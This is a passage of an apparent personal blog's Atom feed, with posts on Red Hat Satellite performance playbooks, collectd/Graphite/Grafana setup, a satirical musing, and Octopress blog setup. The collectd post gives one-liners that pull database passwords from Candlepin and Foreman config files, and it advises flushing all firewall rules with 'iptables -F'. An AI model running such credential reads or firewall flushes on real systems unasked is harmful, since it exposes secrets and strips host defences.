&lt;li&gt;Satutils&lt;/li&gt;
&lt;li&gt;healthcheck&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Monitoring&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Collectd&lt;/li&gt;
&lt;li&gt;Graphite&lt;/li&gt;
&lt;li&gt;Grafana&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h3 id=&quot;playbook-monitoring&quot;&gt;Playbook: Monitoring&lt;/h3&gt;
&lt;p&gt;For a description of metrics we collect about Satellite installation, &lt;a href=&quot;http://arcolife.github.io/blog/2016/08/22/setting-up-collectd-plugins-for-red-hat-satellite-with-graphite-and-grafana/&quot;&gt;refer to this post&lt;/a&gt;&lt;/p&gt;
&lt;h4 id=&quot;collectd-role-description&quot;&gt;Collectd: role description&lt;/h4&gt;
&lt;p&gt;Installs collectd on either/all of: satellite / capsule / docker-hosts&lt;/p&gt;
&lt;h4 id=&quot;graphite-role-description&quot;&gt;Graphite: role description&lt;/h4&gt;
&lt;p&gt;Installs Graphite time-series database for metric storage of collected metrics on the configured graphite host&lt;/p&gt;
&lt;h4 id=&quot;grafana-role-description&quot;&gt;Grafana: role description&lt;/h4&gt;
&lt;p&gt;Installs Grafana time-series metric visualization framework, on the configured grafana host&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;playbook-satellite&quot;&gt;Playbook: Satellite&lt;/h3&gt;
&lt;h4 id=&quot;setup-role-description&quot;&gt;Setup: role description&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;common&lt;/li&gt;
&lt;li&gt;rhsm&lt;/li&gt;
&lt;li&gt;setup&lt;/li&gt;
&lt;li&gt;pbench_client (WIP)&lt;/li&gt;
&lt;li&gt;satellite-populate&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&quot;satutils-role-description-wip&quot;&gt;Satutils: role description (WIP)&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;backup&lt;/li&gt;
&lt;li&gt;upload-manifest&lt;/li&gt;
&lt;li&gt;restore&lt;/li&gt;
&lt;li&gt;add-product&lt;/li&gt;
&lt;li&gt;create-lifecycle&lt;/li&gt;
&lt;li&gt;enable-content&lt;/li&gt;
&lt;li&gt;content-view-create&lt;/li&gt;
&lt;li&gt;content-view-publish&lt;/li&gt;
&lt;li&gt;content-view-promote&lt;/li&gt;
&lt;li&gt;sync-content&lt;/li&gt;
&lt;li&gt;sync-capsule&lt;/li&gt;
&lt;li&gt;register&lt;/li&gt;
&lt;li&gt;status_check&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&quot;health-check-role-description-wip&quot;&gt;Health check: role description (WIP)&lt;/h4&gt;
&lt;p&gt;We plan to integrate &lt;a href=&quot;https://github.com/boogiespook/sat6_healthCheck/&quot;&gt;this github project - sat6_healthCheck&lt;/a&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;blog-roll-more-on-satellite-itself&quot;&gt;Blog roll: More on Satellite itself&lt;/h3&gt;
&lt;p&gt;From &lt;a href=&quot;https://access.redhat.com/announcements/2470701&quot;&gt;Satellite’s latest release&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;Red Hat Satellite 6.2 is now generally available, and includes the following major enhancements:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Enhanced container management with RHEL Atomic&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;New remote configuration management for managed hosts&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;bootstrap.sh support for configuration management and host migration&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The ability to change disconnected environments to connected&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Inter-Satellite synchronization for content&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;PXE-less discovery for existing systems&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://access.redhat.com/documentation/en/red-hat-satellite/6.2/single/release-notes&quot;&gt;Release Notes&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://access.redhat.com/documentation/en/red-hat-satellite/6.2/single/installation-guide#upgrading_satellite_server_and_capsule_server&quot;&gt;Satellite Installation Guide&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
</content>
  </entry>
  <entry>
    <title>Setting up collectd plugins with Graphite and Grafana</title>
    <link href="https://arcolife.in/blog/2016/08/22/setting-up-collectd-plugins-for-red-hat-satellite-with-graphite-and-grafana/"/>
    <id>https://arcolife.in/blog/2016/08/22/setting-up-collectd-plugins-for-red-hat-satellite-with-graphite-and-grafana/</id>
    <published>2016-08-22T10:18:43.000Z</published>
    <updated>2016-08-22T10:18:43.000Z</updated>
    <category term="RHEL"/>
    <category term="Satellite"/>
    <category term="Linux"/>
    <category term="Performance"/>
    <category term="Monitoring"/>
    <category term="OS"/>
    <summary>Intro Installing collectd could be trivial, although setting up monitoring for continuous time-series metric collection should be simpler. This post is aimed at helping sysadmins setup collectd and connect it to a…</summary>
    <content type="html">&lt;h3 id=&quot;intro&quot;&gt;Intro&lt;/h3&gt;
&lt;p&gt;Installing collectd could be trivial, although setting up monitoring for continuous time-series metric collection should be simpler. This post is aimed at helping sysadmins setup collectd and connect it to a graphite instance, so that all those metrics could later be viewed from Grafana instance.&lt;/p&gt;
&lt;!--more--&gt;
&lt;p&gt;Note:&lt;/p&gt;
&lt;p&gt;This post is a spin off from the main satperf project. To take a look at how &lt;a href=&quot;https://www.github.com/redhat-performance/satperf&quot;&gt;satperf&lt;/a&gt; works, &lt;a href=&quot;http://arcolife.github.io/blog/2016/08/22/satperf-a-satellite-performance-benchmarking-and-automation-tool/&quot;&gt;refer to this post&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&quot;the-process&quot;&gt;The process&lt;/h3&gt;
&lt;h4 id=&quot;step-1&quot;&gt;Step 1&lt;/h4&gt;
&lt;p&gt;Install collectd for your system, Install Graphite server elsewhere (recommended: separate machine).&lt;/p&gt;
&lt;hr&gt;
&lt;h4 id=&quot;step-2&quot;&gt;Step 2&lt;/h4&gt;
&lt;p&gt;When that’s installed, take a look at your &lt;code&gt;/etc/collectd.conf&lt;/code&gt; and add plugins from the list below, as suitable&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-dimmed&quot; style=&quot;background-color:#fff;--shiki-dark-bg:#22272e;color:#24292e;--shiki-dark:#adbac7; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;# Allow collectd to log&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;LoadPlugin syslog&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;# Loaded Plugins:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;LoadPlugin write_graphite&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;LoadPlugin cpu&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;LoadPlugin df&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;LoadPlugin disk&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;LoadPlugin interface&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;LoadPlugin irq&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;LoadPlugin load&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;LoadPlugin memory&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;LoadPlugin numa&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;LoadPlugin processes&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;LoadPlugin postgresql&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;LoadPlugin swap&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;LoadPlugin turbostat&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;LoadPlugin unixsock&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;LoadPlugin uptime&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Note:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;If you’re installing this on Red Hat Satellite, you might wanna make additional changes as per &lt;a href=&quot;https://github.com/redhat-performance/satperf/blob/master/playbooks/monitoring/roles/collectd-generic/templates/satellite6.collectd.conf.j2&quot;&gt;this template in satperf&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;For others, you might wanna take a look at the above mentioned link anyway, for it serves as a generic reference for &lt;code&gt;/etc/collectd.conf&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Replace variable names in above referenced satperf’s &lt;code&gt;collectd.conf&lt;/code&gt; as per following defaults / or change them as suitable:&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://arcolife.in/images/collectd/table.png&quot; alt=&quot;Figure 1&quot;&gt;&lt;/p&gt;
&lt;h5 id=&quot;gotchas-for-both-satellite-setup-as-well-as-normal-setup&quot;&gt;Gotchas (for both Satellite setup as well as normal setup):&lt;/h5&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;10 refers to 10 seconds&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;end results on graphite-web UI show under Metrics:&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-dimmed&quot; style=&quot;background-color:#fff;--shiki-dark-bg:#22272e;color:#24292e;--shiki-dark:#adbac7; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;jinja&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E36209;--shiki-dark:#F69D50&quot;&gt;{{&lt;/span&gt;&lt;span style=&quot;color:#24292E;--shiki-dark:#ADBAC7&quot;&gt;graphite_prefix&lt;/span&gt;&lt;span style=&quot;color:#E36209;--shiki-dark:#F69D50&quot;&gt;}}&lt;/span&gt;&lt;span style=&quot;color:#24292E;--shiki-dark:#ADBAC7&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#E36209;--shiki-dark:#F69D50&quot;&gt;{{&lt;/span&gt;&lt;span style=&quot;color:#24292E;--shiki-dark:#ADBAC7&quot;&gt;inventory_hostname&lt;/span&gt;&lt;span style=&quot;color:#E36209;--shiki-dark:#F69D50&quot;&gt;}}&lt;/span&gt;&lt;span style=&quot;color:#24292E;--shiki-dark:#ADBAC7&quot;&gt;.&amp;lt;metrics as per output from plugins&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;ol start=&quot;3&quot;&gt;
&lt;li&gt;For candlepin password:&lt;/li&gt;
&lt;/ol&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-dimmed&quot; style=&quot;background-color:#fff;--shiki-dark-bg:#22272e;color:#24292e;--shiki-dark:#adbac7; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1;--shiki-dark:#F69D50&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#032F62;--shiki-dark:#96D0FF&quot;&gt; grep&lt;/span&gt;&lt;span style=&quot;color:#032F62;--shiki-dark:#96D0FF&quot;&gt; &quot;jpa.config.hibernate.connection.password&quot;&lt;/span&gt;&lt;span style=&quot;color:#032F62;--shiki-dark:#96D0FF&quot;&gt; /etc/candlepin/candlepin.conf&lt;/span&gt;&lt;span style=&quot;color:#D73A49;--shiki-dark:#F47067&quot;&gt; |&lt;/span&gt;&lt;span style=&quot;color:#6F42C1;--shiki-dark:#F69D50&quot;&gt; awk&lt;/span&gt;&lt;span style=&quot;color:#005CC5;--shiki-dark:#6CB6FF&quot;&gt; -F&lt;/span&gt;&lt;span style=&quot;color:#032F62;--shiki-dark:#96D0FF&quot;&gt;'='&lt;/span&gt;&lt;span style=&quot;color:#032F62;--shiki-dark:#96D0FF&quot;&gt; '{print $2}'`&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;ol start=&quot;4&quot;&gt;
&lt;li&gt;For Satellite Foreman password:&lt;/li&gt;
&lt;/ol&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-dimmed&quot; style=&quot;background-color:#fff;--shiki-dark-bg:#22272e;color:#24292e;--shiki-dark:#adbac7; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1;--shiki-dark:#F69D50&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#032F62;--shiki-dark:#96D0FF&quot;&gt; grep&lt;/span&gt;&lt;span style=&quot;color:#032F62;--shiki-dark:#96D0FF&quot;&gt; &quot;password&quot;&lt;/span&gt;&lt;span style=&quot;color:#032F62;--shiki-dark:#96D0FF&quot;&gt; /etc/foreman/database.yml&lt;/span&gt;&lt;span style=&quot;color:#D73A49;--shiki-dark:#F47067&quot;&gt; |&lt;/span&gt;&lt;span style=&quot;color:#6F42C1;--shiki-dark:#F69D50&quot;&gt; awk&lt;/span&gt;&lt;span style=&quot;color:#032F62;--shiki-dark:#96D0FF&quot;&gt; '{print $2}'&lt;/span&gt;&lt;span style=&quot;color:#D73A49;--shiki-dark:#F47067&quot;&gt; |&lt;/span&gt;&lt;span style=&quot;color:#6F42C1;--shiki-dark:#F69D50&quot;&gt; tr&lt;/span&gt;&lt;span style=&quot;color:#005CC5;--shiki-dark:#6CB6FF&quot;&gt; -d&lt;/span&gt;&lt;span style=&quot;color:#032F62;--shiki-dark:#96D0FF&quot;&gt; '&quot;'&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h4 id=&quot;step-3&quot;&gt;Step 3&lt;/h4&gt;
&lt;p&gt;Once this is done, reload collectd server and check logs on graphite server to make sure you’re able to receive data&lt;/p&gt;
&lt;h4 id=&quot;other-gotchas&quot;&gt;Other Gotchas:&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Use &lt;code&gt;iptables -F&lt;/code&gt; if unable to send collectd metrics&lt;/li&gt;
&lt;li&gt;To graph the other parameters in Grafana, &lt;a href=&quot;https://github.com/redhat-performance/satperf/blob/master/playbooks/monitoring/roles/dashboard-generic/templates/satellite6_general_system_performance.json.j2&quot;&gt;this satellite generic dashboard file&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;To simply look at which metrics are touched in above dashboard template, refer to &lt;a href=&quot;https://github.com/redhat-performance/satperf/blob/master/playbooks/monitoring/roles/dashboard-generic/vars/main.yml&quot;&gt;this satperf vars file&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;FYI, I’ve got an &lt;a href=&quot;https://github.com/sosreport/sos/pull/866&quot;&gt;open PR to add collectd info to sos report, as a plugin&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;I’ll add some screenshots to this post ASAP.&lt;/li&gt;
&lt;/ul&gt;
</content>
  </entry>
  <entry>
    <title>Imbecile Intellects. Or are they?</title>
    <link href="https://arcolife.in/blog/2016/06/26/imbecile-intellects-or-are-they/"/>
    <id>https://arcolife.in/blog/2016/06/26/imbecile-intellects-or-are-they/</id>
    <published>2016-06-26T01:03:38.000Z</published>
    <updated>2016-06-26T01:03:38.000Z</updated>
    <category term="philosophy"/>
    <category term="satire"/>
    <summary>Quintessential musings of a non-locality believer:</summary>
    <content type="html">&lt;div class=&quot;wp-content&quot;&gt;
&lt;p&gt;Quintessential musings of a non-locality believer:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;Weird how the world works.&lt;/p&gt;
&lt;p&gt;W is a curious guy. W works on it. W might end up being a connoisseur. W might not.&lt;/p&gt;
&lt;p&gt;X wants to be happy. X works on it. X might give up. X might not.&lt;/p&gt;
&lt;p&gt;Y wants to be rich. Y works on it. Y never gives up. Y might end up entrapped in that loop or Y might get rich.&lt;/p&gt;
&lt;p&gt;Z wants to be recognized. Z is recognized. One way or another.&lt;/p&gt;
&lt;p&gt;Then there&amp;#8217;s A-V who are all kinds of variants of W, X, Y and Z.&lt;/p&gt;
&lt;p&gt;W,X,Y &amp;amp; Z all start on different lines of destiny. But their paths might cross. Or they might not.&lt;/p&gt;
&lt;p&gt;If they do, they might collaborate. They might not&lt;/p&gt;
&lt;p&gt;If they don&amp;#8217;t cross paths, they might end up wanting to acquire a skill that other one has. Or they might not.&lt;/p&gt;
&lt;p&gt;This list is non-exhaustive. Or is it?&lt;/p&gt;
&lt;p&gt;Life is uncertain. No one can make anything of it. Treat your life the way you want it. Law of attraction might work. Or it might not. The dots might connect. Or they might not.&lt;/p&gt;
&lt;p&gt;Decisions are destined. Or are they?&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;I just wasted your time again. Or have I?&lt;/p&gt;
&lt;/div&gt;
</content>
  </entry>
  <entry>
    <title>Setting up your own blog hosted on Github</title>
    <link href="https://arcolife.in/blog/2016/06/12/setting-up-your-own-blog-on-github/"/>
    <id>https://arcolife.in/blog/2016/06/12/setting-up-your-own-blog-on-github/</id>
    <published>2016-06-11T23:07:14.000Z</published>
    <updated>2016-06-11T23:07:14.000Z</updated>
    <category term="blogging"/>
    <category term="github"/>
    <summary>I recently shifted from having a static page as my github.io link to making a blog out of the default .io page for my Github account. I found it pretty cool to be able to push stuff through markdown (although even that…</summary>
    <content type="html">&lt;p&gt;I recently shifted from having a static page as my &lt;a href=&quot;http://arcolife.github.io/blog/2016/06/06/first-post/&quot;&gt;github.io link&lt;/a&gt; to making a blog out of the default .io page for my Github account. I found it pretty cool to be able to push stuff through markdown (although even that formatting is configurable under &lt;code&gt;Rakefile&lt;/code&gt; of octopress source code).&lt;/p&gt;
&lt;p&gt;So here’s a really short post on how to set it up.&lt;/p&gt;
&lt;!--more--&gt;
&lt;h3 id=&quot;step-0-make-sure-you-have-a-github-account-and-a-suitable-repo&quot;&gt;Step 0: Make sure you have a github account and a suitable repo&lt;/h3&gt;
&lt;p&gt;Make an account on &lt;a href=&quot;https://www.github.com/&quot;&gt;this github website&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;..and then, make a new repository on github, called &lt;code&gt;&amp;lt;username&amp;gt;.github.io&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Reference: I have a repo called: &lt;code&gt;http://github.com/arcolife/arcolife.github.io&lt;/code&gt;&lt;/p&gt;
&lt;h3 id=&quot;step-1-get-your-gear&quot;&gt;Step 1: Get your gear!&lt;/h3&gt;
&lt;p&gt;Make sure you have git and ruby installed in your command line environment.&lt;/p&gt;
&lt;p&gt;I had the following versions:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;ruby 2.2.5p319 (2016-04-26 revision 54774) [x86_64-linux]&lt;/p&gt;
&lt;p&gt;Although lower versions (such as 1.9) might work too.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;git version 2.5.5&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;step-2-get-octopress&quot;&gt;Step 2: Get octopress&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Download the repository under a suitable location on your disk:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-dimmed&quot; style=&quot;background-color:#fff;--shiki-dark-bg:#22272e;color:#24292e;--shiki-dark:#adbac7; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;git clone git://github.com/imathis/octopress.git octopress&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;cd octopress/&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Next, if you run &lt;code&gt;bundle install &amp;amp;&amp;amp; rake install&lt;/code&gt;, then IIRC, you’d get a failure.
If not, then the almighty Gods are with you on this lad ..else,
make a change to &lt;code&gt;group:development&lt;/code&gt; in &lt;code&gt;Gemfile&lt;/code&gt; by adding the following:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-dimmed&quot; style=&quot;background-color:#fff;--shiki-dark-bg:#22272e;color:#24292e;--shiki-dark:#adbac7; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  gem 'json_pure', '~&amp;gt; 1.8.3'&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is because when I tried to install the requirements,
I got an error and a recommendation to add the above.
Refer to &lt;a href=&quot;https://github.com/arcolife/arcolife.github.io/blob/source/Gemfile#L16&quot;&gt;this file under my repo&lt;/a&gt;,
if in doubt.&lt;/p&gt;
&lt;p&gt;Be advised that this micro-step may not be necessary in future releases or in your environment.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Now install requirements along with octopress itself:
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-dimmed&quot; style=&quot;background-color:#fff;--shiki-dark-bg:#22272e;color:#24292e;--shiki-dark:#adbac7; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;bundle install &amp;amp;&amp;amp; rake install&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;step-3-connect-your-usernamegithubio-with-octopress&quot;&gt;Step 3: Connect your username.github.io with octopress&lt;/h3&gt;
&lt;p&gt;Run this:&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-dimmed&quot; style=&quot;background-color:#fff;--shiki-dark-bg:#22272e;color:#24292e;--shiki-dark:#adbac7; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;rake setup_github_pages&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Follow the instructions and supply input as asked.&lt;/p&gt;
&lt;p&gt;This would clone and download your repo to a folder called &lt;code&gt;source&lt;/code&gt; and change your
branch from &lt;code&gt;master&lt;/code&gt; to &lt;code&gt;source&lt;/code&gt;. You should check this with &lt;code&gt;git remove -v&lt;/code&gt;.
I got something like this:&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-dimmed&quot; style=&quot;background-color:#fff;--shiki-dark-bg:#22272e;color:#24292e;--shiki-dark:#adbac7; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;octopress	git://github.com/imathis/octopress.git (fetch)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;octopress	git://github.com/imathis/octopress.git (push)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;origin		https://github.com/arcolife/arcolife.github.io (fetch)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;origin		https://github.com/arcolife/arcolife.github.io (push)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;and on running &lt;code&gt;git branch&lt;/code&gt; it should display &lt;code&gt;* source&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;If you then do a &lt;code&gt;git status&lt;/code&gt; you’d get something like this:&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-dimmed&quot; style=&quot;background-color:#fff;--shiki-dark-bg:#22272e;color:#24292e;--shiki-dark:#adbac7; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;your branch is based on 'origin/master', but the upstream is gone.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;(use &quot;git branch --unset-upstream&quot; to fixup)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;..which is fine. Let’s move on to next step.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Side note:
However, if in case, this fails to change your branch to &lt;code&gt;source&lt;/code&gt;,
i.e, you don’t have your username under urls of &lt;code&gt;origin&lt;/code&gt; in your output of
&lt;code&gt;git remote -v&lt;/code&gt; ..then you’d have to do this step manually like this:&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-dimmed&quot; style=&quot;background-color:#fff;--shiki-dark-bg:#22272e;color:#24292e;--shiki-dark:#adbac7; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;git remote add origin git@github.com:arcolife/arcolife.github.com.git&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;git branch -m master source&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;git branch&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This should now display &lt;code&gt;* source&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id=&quot;step-4-try-running-in-preview-mode&quot;&gt;Step 4: Try running in preview mode&lt;/h3&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-dimmed&quot; style=&quot;background-color:#fff;--shiki-dark-bg:#22272e;color:#24292e;--shiki-dark:#adbac7; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;rake preview&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This should start a server on &lt;code&gt;http://localhost:4000&lt;/code&gt; and you should be able to
view a default colorful octopress page.&lt;/p&gt;
&lt;h3 id=&quot;step-5-optional-deciding-where-to-keep-the-default-blog&quot;&gt;Step 5 (optional): Deciding where to keep the default blog&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;http://octopress.org/docs/deploying/subdir/&quot;&gt;Check this out&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Mine is with default settings so I haven’t tried this out.&lt;/p&gt;
&lt;h3 id=&quot;step-6-push-your-changes-to-github-and-deploy-the-blog&quot;&gt;Step 6: Push your changes to github and deploy the blog&lt;/h3&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-dimmed&quot; style=&quot;background-color:#fff;--shiki-dark-bg:#22272e;color:#24292e;--shiki-dark:#adbac7; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;rake generate&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;git add .&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;git commit -am &quot;init github based octopress&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;git push origin source&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;rake deploy&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This might take upto 5 mins sometimes or may be a matter of
few seconds depending on how the update job runs and the load
on github servers. Refresh and check in intervals.&lt;/p&gt;
&lt;h3 id=&quot;step-7-a-new-post&quot;&gt;Step 7: A new post&lt;/h3&gt;
